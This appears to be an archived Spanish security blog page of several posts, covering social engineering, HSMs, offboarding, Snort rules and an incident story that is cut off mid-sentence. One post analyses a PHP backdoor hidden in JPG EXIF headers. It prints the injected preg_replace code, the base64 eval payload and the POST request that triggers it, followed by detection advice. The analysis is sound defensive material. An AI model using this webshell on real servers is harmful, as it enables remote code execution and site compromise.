Archives for noviembre 2013

Servicios de inteligencia social contra los ataques de ingeniería social

(Este artículo fue publicado previamente por José Rosell en la revista Economia3)

Wikipedia define ingeniería social como “la práctica de obtener información confidencial a través de la manipulación de usuarios legítimos”. Cuando nos referimos al uso de esta técnica relacionada con los Sistemas de Información y Comunicaciones podemos decir que “es una técnica usada para obtener información, acceso o privilegios en sistemas de información que les permitan realizar algún acto que perjudique o exponga la persona u organismo comprometido a riesgo o abusos”. O sea, vulgarmente podemos decir que la ingeniería social consiste en el uso de todo tipo de triquiñuelas para engañar a una persona, aparentemente confiada, para que permita el acceso, sin darse cuenta, a su ordenador y por tanto en la red de su casa, o de su empresa, o del organismo donde desarrolle su actividad. Una vez dentro de la red el “ingeniero social” no tendrá más que extender sus tentáculos en la red y dedicarse a localizar al objetivo realmente deseado que, normalmente, no tiene por qué coincidir con el destino del ataque inicial.

La ingeniería social se compone por tanto de técnicas de engaño de todo tipo, tanto en el mundo físico como en el virtual que, desgraciadamente, están muy de moda hoy en día, sobre todo en su faceta relacionada con las TIC. Actualmente la ingeniería social es uno de los vectores de ataque más peligroso y que más se está utilizando para tomar posiciones de privilegio en redes ajenas obteniendo acceso a la información de las mismas a través de los empleados de las propias organizaciones.

¿Con qué fin? Muy sencillo. Con el fin de causar un daño. Ya sea porque trabajamos en una organización que tiene algún interés económico o de otro tipo para el atacante. Ya sea porque simplemente quieren robarnos o porque quieren información que tiene un valor en el mercado. Lo que quiere este tipo de “ciberdelincuentes” modernos, como cualquier otro tipo de delincuente, es apropiarse de forma ilícita de cualquier cosa que tengamos que merezca la pena en nuestra organización: nuestros resultados de investigación y desarrollo, el diseño de los procesos industriales, nuestra cartera comercial, nuestra lista de precios y sus márgenes, la fórmula de un producto, nuestra estrategia de cara al mercado en los próximos años, una lista de personas con números de cuenta, el listado de los enfermos que han pasado por un Hospital, nuestros planes de expansión, etc…

Aunque este tipo de ataques son muy antiguos, en el mundo TIC fueron popularizados por un famoso “hacker”, según se autodefine él mismo, conocido con el pseudónimo de “Cóndor”, Kevin D. Mitnick ,que contó sus experiencias y su historia personal en su libro “The Art of Deception: Controlling the Human Element of Security” (ver el post al respecto en Microsiervos) escrito en el año 2002, y que acabó, por cierto, en la cárcel en el año 1995 tras múltiples juicios.

Esta técnica se sustenta en el principio de que el punto más débil de cualquier sistema de defensa somos las personas. Mitnick defiende que un buen ataque de ingeniería social se diseña teniendo en cuenta cuatro principios básicos de las relaciones humanas:

  • Todos queremos ayudar.
  • El primer movimiento es siempre de confianza hacia el otro.
  • No nos gusta decir No.
  • A todos nos gusta que nos alaben.

En el mundo TIC este vector de ataque tiene especial relevancia en el ámbito profesional desde hace unos años ya que hemos asistido a la caída de las fronteras digitales de las compañías a una velocidad de vértigo. Hace poco discutíamos si debíamos o no considerar dentro del perímetro de la seguridad de las organizaciones lugares como los domicilios de determinados empleados y hoy nos encontramos con que la frontera ya no son los espacios físicos, ni las máquinas, ni siquiera las redes. Hemos desdibujado las fronteras. La frontera actual somos nosotros, las personas, que con un sinfín de dispositivos móviles de todo tipo hemos puesto en jaque alguno de los principios establecidos hasta la fecha de la ciberseguridad.

En estas condiciones es muy fácil, hoy por hoy, lanzar un ataque de ingeniería social y tener éxito. De hecho, S2 Grupo ha tenido durante muchos años como norma no hacer este tipo de pruebas porque el éxito de las mismas estaba garantizado. Hoy en día hemos cambiado totalmente nuestra estrategia porque el objetivo no es comprobar si podríamos tener éxito, sino enseñar a nuestros clientes, a través de simulaciones de este tipo de ataque, a protegerse de los mismos.

Imagínense ustedes en un ascensor de un edificio público o de oficinas que dejamos en el suelo una llave USB con una etiqueta que pone CONFIDENCIAL. ¿Qué creen que pasará con esa llave USB? ¿Cuánto tiempo creen que pasará hasta que una persona pinche esa llave USB en un ordenador de una red? ¿Qué creen que pasaría si en esa llave USB hubiese un fichero llamado “nominas2012.xls” o “reestructuración gobierno.doc”?

Pasaría lo que pasa siempre. Alguien, más temprano que tarde, sin ninguna mala intención, introduciría la llave USB en un ordenador de una red y alguien, movido por una curiosidad natural en el ser humano, abriría alguno de los ficheros contenidos en la llave USB. A partir de ese momento, el fichero adjunto nos permitiría desplegar en el equipo, y posteriormente en la red, algún tipo de malware que nos permitiría tomar privilegios en la red y desarrollar nuestra actividad delictiva a nuestro antojo.

Pero no se crean ustedes que hace falta usar el truco de la llave USB en la oficina. Al fin y al cabo podríamos argumentar que ese ataque requiere un acceso físico al edificio. Este tipo de ataques nos pueden venir a través del envío de un correo electrónico a personas escogidas de la organización (spear phishing) simulando un simple correo electrónico de una agencia de viajes, con la que nuestra empresa trabaja habitualmente, informando sobre ofertas especiales para empleados de la compañía en un adjunto, que por supuesto estaría convenientemente infectado con algún tipo de malware, o suplantando la identidad de un compañero del departamento de RRHH que nos remite supuestamente un fichero pdf con nuestra nómina que lleva un troyano.

Son muchas las variantes que podemos encontrar de ataques de ingeniería social, desde ataques genéricos en los que “caen” pocos individuos (un “phishing” masivo para obtener contraseñas bancarias), hasta los ataques perfectamente estudiados y dirigidos en los que hay que ser realmente desconfiado para no “caer” en la trampa (como el “spear phishing” comentado anteriormente). Tengan ustedes en cuenta que a poco que seamos habilidosos con las búsquedas en Internet, seremos capaces de averiguar, de algunas personas, su DNI, su teléfono, su dirección, el apartamento que tiene, su correo electrónico, el último viaje que ha hecho publicado por su hija en twitter, incluso el nombre de su gato sacado de facebook o el de su vecino de arriba que ha puesto una denuncia por un aparato de aire acondicionado que hace mucho ruido. La información está en la red. Solo hay que saber encontrarla.

Para combatir esta amenaza se diseñan servicios de inteligencia social orientados a la protección de la información frente al “factor humano”, orientados a mitigar el riesgo de sufrir, directa o indirectamente, ataques de ingeniería social. Estos servicios empiezan por analizar las organizaciones para detectar posibles objetivos de ataques de ingeniería social y se encargan, entre otras cosas, de entrenar a la organización para que esté atenta ante este tipo de amenaza. De forma periódica y controlada, equipos expertos contratados a tal fin lanzan oleadas de distintos tipos de ataques orientados a medir el grado de protección de las organizaciones ante este tipo de amenaza y con el fin de que sirvan como píldoras de concienciación para todos los miembros de la organización.

Estos ejercicios deben enmarcarse en los programas de concienciación globales en materia de ciberseguridad y son de vital importancia de cara a garantizar la seguridad de las organizaciones en el futuro. Así lo recogen las agendas digitales y las estrategias de ciberseguridad que se están publicando en el mundo y que inciden en que uno de los factores clave para el uso de las TIC en la sociedad y en los negocios es el fomento de la seguridad a través de la concienciación.

Malware oculto en cabeceras JPG EXIF

Hace ya algunas semanas que estamos observando que determinados sitios web han sido comprometidos y los atacantes han dejado una puerta trasera para seguir ejecutando código en el servidor. Sobre el caso que vamos a explicar ya existen varios artículos donde destacamos el de securi.net el de spiderlabs los cuales ya estaban hablando de este asunto este mes de Julio.

Resumiendo la técnica, los atacantes inyectan código en ficheros php para leer una imagen mediante la función exif_read_data() y ejecutar código de dentro de la imagen mediante un truco que permite la función preg_replace(). Este código que se ejecuta inyectado en la imagen, ofrece la posibilidad de ejecutar código php que venga en una petición POST en una variable de nombre zz1 cuando se invoque el php afectado.

Para que quede más claro vamos a ver la técnica con un ejemplo sencillo. Lo primero que hacemos es crear un fichero de nombre index.php que vamos a colocar en nuestro servidor web junto a la imagen.

print ("POC\n"); 

$exif = exif_read_data('backdoor.jpg'); 
preg_replace($exif['Make'],$exif['Model'],''); 

print ("POC END\n"); 

Las líneas en rojo serían las que inyectaría el atacante en cualquier fichero php. Y la imagen backdoor.jpg sería la subida por el atacante. Como muy bien explican en los artículos si analizamos la imagen, veremos que en la cabecera tendremos algo como:

/.*/eeval(base64_decode('aWYgKGlzc2V0KCRfUE9TVFsienoxIl0pKSB7ZXZhbChzdHJpcHNsYXNoZXMoJF9QT1NUWyJ6ejEiXSkpO30='));

Donde el código que se ejecutará realmente después de aplicar la función base64_decode() será:

if (isset($_POST["zz1"])) {eval(stripslashes($_POST["zz1"]));}

Como ya hemos dicho antes en el resumen, se ejecutará lo que llegue en la variable "zz1” en una petición POST. Continuando con nuestro ejemplo, la petición que lanzaría el atacante para aprovechar el código inyectado y la imagen con el backdoor, sería algo como:

POST /index.php HTTP/1.1 
Host: victima.es
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:25.0) Gecko/20100101 Firefox/25.0 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3 
Accept-Encoding: gzip, deflate 
Connection: keep-alive 
Content-Type: application/x-www-form-urlencoded 
Content-Length: 34 

zz1=phpinfo();

Este ejemplo sencillo, hará que se ejecute la función “phpinfo();” en el servidor y nos devuelva la información. Con esto queda demostrado que podemos ejecutar código php en el servidor.

Una vez visto cómo funciona debemos plantearnos diferentes opciones para detectar esta amenaza o similares. Para este caso concreto podrían valernos:

1. Las funciones que se utilizan en la imagen son “base64_decode” y “eval”, así que una posible vía de detección sería detectar estas dos funciones en ficheros de tipo imagen. Esto puede detectarse tanto en el tráfico de red como de manera local en el servidor buscando estas dos funciones en ficheros de tipo imagen.
2. Detectar hacia nuestros servidores web peticiones POST a un fichero php con la variable zz1 fijada. Esto indicará que nuestro servidor web podría estar comprometido.
3. Y por último revisar el código php de nuestras aplicaciones en busca de las funciones exif_read_data() y preg_replace().

Vistas diferentes aproximaciones para detectar esta amenaza, comentaros que nosotros hemos detectado usuarios que durante una navegación normal, han descargado imágenes que contenían el backdoor. Este hecho por si solo no compromete al usuario, aunque debe alertarnos, ya que si contiene este backdoor podría tener también algún Exploit Pack que puede intentar atacar a nuestros usuarios. Un ejemplo de la detección que hemos visto ha sido:

Al detectar esto, se ha procedido a notificarlo a los sitios web para que puedan desinfectar sus servidores de esta amenaza.

Como siempre espero que os sea de utilidad esta entrada.

Recursos para formación en desarrollo web seguro

Probablemente muchos de vosotros habréis caído en la cuenta de la falta completa de información referente a la seguridad en desarrollo web que se suele impartir en universidades, o específicamente, en cursos o másteres de desarrollo. De toda la gente a la que he preguntado, a nadie le han enseñado técnicas de desarrollo seguro en su formación universitaria. Sólo una persona, que acabó recientemente la carrera, me comentó que había una asignatura referente a seguridad, muy en general, y era de libre elección. Y no sólo en la formación. En cualquier libro técnico sobre introducción al desarrollo web, tampoco hacen mucha mención a la necesidad de filtrar parámetros de entrada, o cifrar las comunicaciones de un formulario de login.

¿Y por qué menciono yo esto? ¿Por qué es tan importante que un desarrollador tenga conocimientos de desarrollo seguro? Porque ahorra tiempo y dinero. Se estima que el coste en euros de solucionar una vulnerabilidad detectada en producción es 15 veces más que si se hubiera arreglado en la fase de desarrollo. Muchos sabréis de primera mano lo tedioso que es subir una nueva versión a producción: pruebas en pre, ventana de mantenimiento para detener la aplicación, litros de café y plegarias para que nada explote.

Mi idea al escribir este post es recopilar lo esencial de lo esencial, como base para aprender en qué momentos es necesario tomar ciertas medidas de seguridad. Por suerte, todo lo que he considerado de imprescindible lectura está disponible libremente en la web de OWASP. Por supuesto, hay muchísimo más, aunque me he centrado en comentar los proyectos de OWASP por ser recursos desarrollados por la comunidad.

El primero de todos, la guía de desarrollo seguro de OWASP. Este documento explica las vulnerabilidades web más comunes y su forma de evitarla. Actualmente la versión publicada es del año 2005, aunque la información sigue siendo hoy día perfectamente válida. La mayoría de ejemplos están descritos en Java. Además de los temas conocidos como validación de datos de entrada, gestión de sesiones, mecanismos de autenticación o autorización, toca temas como webservices, phising, o buenas prácticas en el manejo de errores. Es un recurso que todo desarrollador web debería conocer, y tener a mano para consultar, para que al menos, aunque no recuerde cómo implementar de forma segura cierta funcionalidad, si que al menos sepa que lo que está programando implica una posible vulnerabilidad y que es necesario desarrollarlo con cuidado.

Otra lectura muy recomendable es la guía de revisión de código. Aplicable tanto para el personal dedicado a la fase de test de un proyecto, como a los pentesters que realizan test de intrusión de caja blanca, con acceso al código fuente. Se definen una serie de controles y muestra en qué hay que fijarse para detectar una posible vulnerabilidad. Enseña tanto errores comunes como buenas prácticas.

Por último, Application Security Verification Standard (ASVS) son una serie de controles, que a modo de CheckList, puede sernos muy útil usarlo en la fase de testing. Está categorizado por el tipo de vulnerabilidades a revisar y además catalogados en tres niveles, dependiendo del nivel de exigencia a cumplir. Actualmente la versión 2.0 está en fase de borrador con muchas mejoras, como la simplificación de niveles y nuevas categorías, como desarrollo para aplicaciones móviles. Un recurso muy valioso tanto para el desarrollador como para el jefe del proyecto.

Y por supuesto, no me puedo dejar como fuente de información este blog ;) Sobre todo muy interesantes los post de nuestros compañeros David, Guillermo, y Nedim.

Diseñando Sistemas IV: Pruebas y validación del sistema

Continuando con el ciclo de diseño y desarrollo de los sistemas de tratamiento de la información, una vez tenemos desarrollados los programas que habrán sido probados por los programadores, y las corrientes de trabajos, montadas igualmente por los programadores o por los encargados de la planificación y explotación de sistemas, será necesario ejecutar ciclos de pruebas del producto obtenido, antes de proponer su aceptación por parte del cliente. Para ello, es muy conveniente disponer de un conjunto de datos de prueba, lo más completo posible, que abarque el máximo de transacciones diferentes y de los casos descritos en la primera etapa del proyecto “Toma de Requerimientos” para verificar que los resultados son los deseados, especialmente en aquellas transacciones más complejas y conflictivas que pudieran darse.

Para preparar las pruebas, y conseguir un buen set de datos de prueba (en mis tiempos les llamábamos un “juego de ensayos”), es muy conveniente tener la colaboración del usuario más experto posible, es decir de quién de verdad trabaja sobre el sistema y pelea diariamente con la información. Ello puede ser problemático si el usuario se siente amenazado por la implantación del sistema (hay que ser psicólogo en este asunto), o si tal vez está tan ocupado que es difícil conseguir su participación en esta etapa. Lo mejor es tenerlo previsto y planteado en los primeros pasos del proyecto como una necesidad que el cliente debe atender y tal vez no solo en las pruebas, sino también en la previa definición detallada de los procesos.

Si el sistema va a trabajar contra una base de datos que ya existía y para las pruebas se decide obtener una copia de aquella, es muy importante tener la autorización por escrito del responsable de esa base de datos para poder copiarla, máxime en el caso de contener datos de carácter personal (LOPD) y además será necesario dotar a esta copia de las medidas de seguridad exigidas por la citada ley y su Reglamento y destruirla tan pronto como no se justifique su existencia.

Si el sistema va a trabajar sobre una base de datos nueva, un proceso de migración de datos será necesario, a no ser que se parta del punto de crearla desde cero, cosa poco frecuente. Para realizar dicha migración, se tendrán que preparar programas específicos que cumplan las condiciones equivalentes a las definidas para la entrada de datos al sistema, quiero decir que probablemente se requieran parámetros y valores de control nuevos que no existen en el diseño antiguo a sustituir, y que tanto como sea posible, deben ser introducidos de forma automatizada en la nueva base de datos, y si esto no es posible, tendrán que ser posteriormente introducidos a mano en un proceso de validación manual de la misma.

Siempre se deberá tener en cuenta el balance de coste y dedicación contra el beneficio de obtener una base de datos depurada contra el hecho de que se depure después en el tiempo. Obviamente es preferible obtener datos ya limpios y completos, pero como esto no siempre es posible, en algunos casos, conviene prevenir un “estado” de los registros de la base de datos que indique su situación de “Validado” o “Pendiente de validar”, aparte de otros tal vez más comunes como “Bloqueado para proceso” o “Cancelado”. Probablemente habrá otros estados de datos que dependerán de las características de la información y del proceso a realizar, pero los dos primeros indicarán el estado natural de una nueva información, “Validado” es un registro con información contrastada y depurada, mientras que “Pendiente de validar” serían las entradas de datos que no han podido validarse por completo y por lo tanto, los diferenciaremos para poder revisarlos y ajustar sus contenidos posteriormente. Idealmente, programas específicos para localizar estas entradas deberían estar disponibles, con el fin de completar su revisión o validación en el menor plazo de tiempo posible, pero esto conlleva un coste adicional que no es fácilmente asumible, aunque mantener datos erróneos o incompletos, a la larga suele tener mayor coste.

Para el propósito de realizar las pruebas más completas del sistema, es conveniente elegir un set de datos completamente validado, e incluir en dichas pruebas los programas de migración de datos. Analizar la base de datos de pruebas obtenida, antes de empezarlas, nos evitará después quebraderos de cabeza al comprobar los resultados de las mismas.

Normalmente, si los programas se desarrollaron con un buen conocimiento del proceso (análisis técnico o detallado) y una documentación adecuada, y también han sido probados individualmente con conjuntos de datos validados, lo normal es que las pruebas den resultados satisfactorios desde el primer momento, habiendo siempre cosas que corregir y ajustar, pero de poca envergadura y no surgirán errores de interpretación sobre la naturaleza y detalle del proceso y sobre todo errores de la funcionalidad del mismo, que con bastante frecuencia pueden dar al traste con el proyecto y tener que revisarlo por completo.

Por tanto “casques” de procesos y resultados imprevistos no deberían aparecer una vez depurados los programas y cadenas de trabajos individualmente, y solo errores de codificación y ajuste del sistema deberían ser objeto del trabajo en esta etapa.

Una vez el usuario experto da por buenos los resultados, es hora de presentarlo a los responsables del proyecto para requerir su aceptación, y de planificar la etapa siguiente con la implantación o despliegue del sistema en el entorno de producción del cliente.

Preprocesador de reputación IP de Snort

El preprocesador reputacional de Snort no es algo nuevo; de hecho, apareció en agosto de 2011 con la versión 2.9.1. Hasta aquel momento, la única forma de manejar listas negras de direcciones IP era a través de reglas con el motor de detección, creando una regla con una lista de direcciones IP, como las utilizadas en el conjunto BotCC (emerging-botcc.rules).

alert tcp $HOME_NET any -> [103.6.207.37,106.187.42.91,106.187.48.236,107.20.73.183,
108.170.20.73,108.170.56.211,108.61.240.240,108.61.26.189,109.109.228.186,109.111.79.4,
109.163.233.16,109.163.233.22,109.196.130.50,109.228.25.175,109.234.106.53, 109.74.194.110,
112.175.124.170] any (msg:"ET CNC Shadowserver Reported CnC Server TCP (group 1)"; flags:S; 
reference:url,doc.emergingthreats.net/bin/view/Main/BotCC; reference:url,www.shadowserver.org; 
threshold: type limit, track by_src, seconds 3600, count 1; classtype:trojan-activity; 
flowbits:set,ET.Evil; flowbits:set,ET.BotccIP; sid:2404000; rev:3259;)

Esta forma tenía una limitación por lo que se creaban listas interminables de reglas relacionadas con una lista negra separadas en grupos teniendo alertas del estilo “ET CNC Shadowserver Reported CnC Server UDP (group 49)” o “ET COMPROMISED Known Compromised or Hostile Host Traffic UDP (43)”.

[Read more…]

El proceso de baja de usuarios

Últimamente, por desgracia, cada día finalizan multitud de relaciones laborales. En algunos casos, es el trabajador quien se da de baja voluntariamente (lo más normal es que haya encontrado un trabajo mejor) y en la mayoría, es la empresa quien despide a su empleado.

Pero ¿qué pasa cuando un trabajador deja de tener relación con su empresa? Obviamente, durante cada etapa laboral se adquieren muchos conocimientos de diversa índole y eso no se pierde al dejar de formar parte de la empresa (lo cual obliga a distinguir conocimientos e información: saber cómo implantar un SGSI es diferente a “llevarse” los modelos de procedimientos, aunque sea éste quien los hubiera desarrollado, siempre evidentemente en el marco de un acuerdo de confidencialidad) y se tiene acceso a determinada información con diferentes grados de confidencialidad.

En teoría, cuando concluye la relación laboral, el empleado (ex empleado ahora) deja de tener acceso a las instalaciones de la compañía, sus repositorios de información, su correo electrónico, en definitiva a sus sistemas de información. Ahora bien, ¿esta teoría se cumple siempre? ¿En qué plazos debería hacerlo? ¿Cómo de estrictos debemos ser con estos temas?

Nunca se puede generalizar, y en este tema en concreto conozco dos casos muy cercanos y completamente opuestos que, a primera vista, me parecen los dos extremos de cómo hacer mal las cosas. Por un lado, tenemos a una amiga que estaba realizando una sustitución por maternidad, por lo que la duración de su empleo estaba claramente establecida de antemano. Cuando llegó el último día a trabajar, no pudo acceder a las instalaciones porque habían desactivado su tarjeta. Y una vez dentro (cuando le abrieron la puerta sus compañeros), no pudo utilizar el ordenador porque le habían desactivado ya el usuario del dominio, el correo electrónico y el acceso a Internet. No podía hacer nada, pero tampoco la dejaban marcharse a casa.

En el caso completamente contrario, un amigo fue despedido por fin de proyecto y todo parecía ir con normalidad. Sin embargo, algo más de un año después del despido, su antiguo jefe le llamó para preguntarle “si recordaba la contraseña del panel de administración del cliente X”. Tras comunicarle la contraseña que utilizaba él en su día, la curiosidad le pudo y comprobó que la contraseña seguía siendo la misma.

¿Podemos decir que alguna de las dos empresas actuó 100% de forma correcta?

Vayamos por partes. En cuanto a la obligatoriedad de restringir los accesos del ex empleado, podemos remitirnos, además del sentido común, a la norma UNE-ISO/IEC 27002 que en su dominio de control “Seguridad ligada a los recursos humanos” contiene algunas consideraciones importantes.

Por ejemplo, establece que se debe completar la devolución de todos los activos de la empresa que posea al finalizar la relación laboral. Esto incluye desde portátiles, ordenadores y teléfonos móviles hasta documentos, manuales e información en soporte electrónico. También indica que si el empleado utiliza algún dispositivo personal con fines laborales, se debe asegurar que la información se transfiere a la organización y se borra de los equipos de forma segura.

Respecto a los derechos de acceso, indica que deberían retirarse al finalizar el empleo o contrato. Estos derechos incluyen tanto el acceso a las instalaciones (las llaves o tarjetas de acceso se deberían devolver junto con el resto de activos) como a la información corporativa (por ejemplo, si el trabajador ha tenido acceso a contraseñas de sistemas que siguen activos tras su marcha, deberían cambiarse). Sin embargo, si profundizamos un poco más en la norma, establece que los derechos de acceso deben reconsiderarse en función de los siguientes factores para determinar si han de retirarse antes de la finalización de la relación laboral:

  • Si se trata de una baja voluntaria o ha sido decidido por la organización, así como los motivos.
  • Responsabilidades actuales del trabajador.
  • Valor de los activos a los que tiene acceso.

Es decir, no es lo mismo que se produzca la baja de un responsable de departamento que de un reponedor, ni es lo mismo que sea por una finalización de contrato que por faltas graves del empleado, etc.

Según esto, parece que el primer caso transcurrió conforme a la norma y el segundo no. Pero hay otras cosas a tener en cuenta. Por ejemplo ¿era necesario una retirada radical de accesos en su último día de trabajo? ¿Hubiera sido admisible esperar al día siguiente (o a última hora de ese día) para hacerlo? ¿Quién decide tener a una persona en su puesto de trabajo sin que pueda hacer absolutamente nada? ¿Qué sensación tiene esa persona en sus últimas horas de trabajo?

Además, hay otro aspecto importante a tener en cuenta. La norma dice “a la finalización del empleo”, pero el Estatuto de los trabajadores establece que, en caso de despido, se debe preavisar al empleado con 15 días. Entonces, durante ese tiempo ¿el empleado sabe que va a ser despedido y sigue teniendo acceso a todos los recursos de la empresa? Omito intencionadamente el caso de la baja voluntaria porque el empleado podría llevarse la información que quisiera antes de comunicar el preaviso establecido por su convenio colectivo.

Así pues ¿cómo compatibilizamos el preaviso que se debe dar a un empleado antes de su despido con la retirada de los accesos del mismo? ¿Tiene sentido el despido “de hoy para mañana” para evitar una posible fuga de información? ¿Cuál sería un plazo razonable para cancelar los accesos protegiendo la información? ¿Qué es más importante, la información de la compañía o el trato a los empleados?

Un montón de incógnitas a las que los responsables de Recursos humanos y de TI se enfrentan a diario. ¿Qué opináis vosotros?

Fundamentos sobre certificados digitales (V) – Dispositivos físicos para gestión y custodia de claves (2ª Parte)

En la última entrada de David Cutanda nos dejamos por nombrar algunos de los requisitos deseables para este tipo de dispositivo en una PKI. Vamos con ellos:

  • Mecanismos de autenticación y autorización para múltiples usuarios y factores: Dada la importancia y criticidad de los datos contenidos en el dispositivo, es habitual que la autenticación para el acceso al mismo no se base en un solo factor, ni se requiera de un solo usuario. Vayamos por partes, un factor es un método para validar a un usuario. Por ejemplo, un factor será una contraseña, ya que empleando únicamente una contraseña se podría acceder, por ejemplo, a una cuenta de correo electrónico. Cuando se implementan métodos de acceso basados en dos factores, se emplean dos métodos distintos, y sólo se accederá si y solo si se validan los dos factores aportados como correctos. Para ilustrar un poco esta explicación se identifican a continuación distintas clasificaciones:
    • Algo que el usuario es: Huella digital, imagen de la retina, etc.
    • Algo que el usuario tiene: Token, Tarjeta RFID, Teléfono móvil, etc.
    • Algo que el usuario sabe: Contraseña, PIN, etc.
    • Algo que el usuario hace: Reconocimiento de voz, firma, etc.

Para un uso profesional en una PKI, lo habitual es que el dispositivo HSM soporte autenticación por dos factores para permitir el acceso a las claves almacenadas en el dispositivo, habitualmente claves privadas de la CA (raíz y subordinadas); así como poder configurar que para el acceso se requiera la validación de dos usuarios simultáneos.

  • Mecanismos y registros de auditoría completa: Se debe mantener registro de todas las acciones que se puedan realizar en el dispositivo. Esto es debido no solo a que la confidencialidad es importante en un entorno crítico como este, sino que también es determinante la trazabilidad, es decir, la capacidad de saber quién, cuándo y cómo realizó cualquier acción sobre los certificados de la cadena de confianza de la CA. Todos estos registros podrían ser empleados como evidencia si se produjera cualquier irregularidad en el tratamiento de las claves. Por lo tanto, de cara a control, investigación o como evidencia para emprender posibles acciones legales, se debe mantener un registro completo y seguro de actividad. A este respecto se debe registrar cualquier actividad realizada con las claves, tales como generación, archivo, respaldo, recuperación, uso, destrucción, compromiso, etc.
  • Copias de seguridad de claves “segura”: El HSM deberá implementar mecanismos de backup que garanticen la seguridad de las claves almacenadas en la copia de seguridad del mismo modo que el propio HSM lo haría; la solución habitual es la más sencilla, mantener un segundo HSM como backup. De acuerdo, ¿pero cómo se realiza esa copia de forma segura? El proceso de copia habitual es el siguiente, de forma previa a realizar cualquier copia se deberá generar un certificado de backup, este certificado será el que se empleará para cifrar las copias de seguridad. El certificado de backup consiste en un par de claves asimétricas, similares a las que se emplean para cualquier certificado o firma digital. Este certificado se generará en el HSM de backup, que deberá estar configurado a tal efecto. El certificado generado se importará al HSM de producción, en el que se configurará como certificado de backup y se empleará para cifrar la copia. La propia copia, del mismo modo que la clave de backup en el intercambio inicial, se almacenará en un soporte compatible por el modelo de HSM que se trate (lo que puede ser una tarjeta, un dispositivo USB, etc.).

Como hemos comentado anteriormente, los dispositivos HSM no sólo se emplean en entornos de PKI, sino que se también se utilizan habitualmente distintos entornos con requerimientos criptográficos elevados.

Antes de finalizar esta entrada me gustaría detallar algunos ejemplos en los que, del mismo modo que en una CA, es habitual el uso de HSM:

  • Sistemas de pago con tarjeta (Entorno bancario): Se suelen emplear dispositivos más simples que los empleados en el entorno de PKI, ya que se requieren menos tipos de operaciones. Se emplean habitualmente en terminales punto de venta, concretamente para cifrar el PIN de forma previa a su envío. También se emplean en servidores de verificación, en este caso para descifrar los bloques que contienen los PIN, intercambiar códigos PIN entre puntos de autorización, generación de datos a introducir en bandas magnéticas de las tarjetas, etc.
  • Conexiones HTTPS/SSL: En entornos en los que se requiere una alta seguridad y se ven condicionados por elevadas cuotas de uso y tienen objetivos de optimización muy elevados; se puede considerar la utilización de dispositivos HSM como aceleradores criptográficos, ya que pueden generar claves SSL mucho más rápido y en unas condiciones de seguridad mejores que cualquier procesador (este entorno, a pesar de ser parecido, sería independiente del relacionado con un certificado digital que identificara el servicio en internet).

Con esto es todo, más sobre certificados y firma digital en próximas entradas. Muchas gracias por vuestra atención y como siempre quedo a la espera de vuestros comentarios.

Seguridad Wi-Fi empresarial – Servidores radius (I)

En la actualidad las conexiones inalámbricas se han vuelto algo indispensable a la hora de conectarnos a internet, el aluvión de nuevos dispositivos como móviles, tablets, ebooks etc… Hacen que en casi todo hogar doméstico exista un router con funciones de punto de acceso para poder conectarnos sin cables.

Los motivos que llevan a conectarse sin cables son varios, desde la simple comodidad de no tirar cables por casa, a las características de la infraestructura de una empresa o las propiedades geográficas de un lugar, que no permiten hacer otro tipo de conexión.

En 1999 se asienta la tecnología inalámbrica llamada Wi-Fi, funcionando bajo el estándar IEEE 802.11b, que nos daba una mísera velocidad de 11 Mbps, y donde los dispositivos aún eran únicamente compatibles con el famoso cifrado WEP, el cual usa el algoritmo de cifrado RC4 de 128 bits (104 en realidad) y que fácilmente puede ser roto.

[Read more…]

An evening with Vicente (II)

Llevamos tres días jugando al ratón y al gato con nuestro amigo Vicente y empezamos a cansarnos del tema, pero no nos queda otra que seguir…

DIA 4 (y sucesivos)
A la misma hora de todos los días (aproximada, claro) estamos ya mirando la consola de eventos y los móviles, esperando a Vicente una noche más… Pero hoy Vicente ha desaparecido, tras tres días jugando con nosotros; durante unas jornadas estamos especialmente alerta a cualquier cosa que se salga de la normalidad en ACME, pero nada. Como si se lo hubiera tragado la tierra; los ataques de Acunetix no obtuvieron ningún resultado significativo, no hay más actividad anómala en el entorno -al menos similar a la generada por nuestro amigo- y parece haberse perdido todo el interés de Vicentín en ACME… ¿Que habrá pasado? ¿Habrá encontrado un ACME2? Ni idea por el momento, pero el caso es que ya no molesta, al menos a primera vista… Unos días después revisamos otra vez el entorno de ACME y no encontramos nada relevante, por lo que desactivamos el GIR y olvidamos el tema. ¿Fin de la historia? No :)

FIN DE LA HISTORIA
Aproximadamente un mes después de la fiesta nos llaman del CNP; la denuncia que en su día hicimos sigue su curso y el Oficial que está llevando el tema quería aclarar algunas dudas… Sinceramente, ni me acordaba del tema, pero es de agradecer el interés mostrado en este caso por el CNP y el excelente trabajo que hicieron. Resuelvo las dudas y a otra cosa…

Algo menos de tres meses después del incidente, el Oficial vuelve a llamarme: lo tienen. Han cogido al tipo. OPERATOR les ha dado la información, previa orden judicial, de quién estaba detrás de todas las direcciones identificadas y -oh, sorpresa- era la misma persona: Vicentín; han mandado a dos policías a su casa, lo han trincado y el chaval ha cantado hasta el último detalle… La verdad, un pobre diablo al que han pillado; como me dijo hace años un amigo de la Guardia Civil, pillamos a los más tontos, y de los más tontos a los que llevan un mes en esto… En fin, sin comentarios sobre el pardillo, ya se apañará; da incluso algo de pena, pero nos hizo perder muchas horas y sobre todo nos hizo pasar algún rato de preocupación. No detallaremos cómo fue el tema judicial para no generar morbo que no aporta nada, pero el caso es que al chaval lo pillaron con todo el equipo :)

LECCIONES APRENDIDAS
Como todo incidente, tenemos que aprender algo de la situación que vivimos en ACME; sin duda, para nosotros, lo más grave es la sensación de indefensión que sufrimos, tanto el cliente como nosotros mismos… Un atacante está analizando la seguridad de la infraestructura de un cliente -o la tuya propia- y lo más que puedes hacer oficialmente es bloquear la IP. Cojonudo, perdonen la expresión. Como si un tío está intentando forzar la puerta de tu casa y lo más que puedes hacer es cerrarla bien… Luego se nos llena la boca hablando de convergencia, de 112 digital y de cosas así. Mentira. Si alguien intenta entrar físicamente en mi casa llamo al 062 y tengo a una pareja de la Guardia Civil en la puerta; si intenta entrar virtualmente, no tengo a nadie a quien llamar (claro, puedo llamar también al 062 y esperar); menos mal que Vicentín se cansó en un momento determinado de atacar a ACME, porque en caso contrario podríamos haber estado meses bloqueando direcciones IP en el firewall. Surrealista, ¿verdad? Hasta que no tengamos una especie de “062” al que llamar en situaciones así, mal vamos, porque no podemos hacer otra cosa más que cortar tráficos… Aunque me han comentado que puedes comprar, pagando en efectivo sin 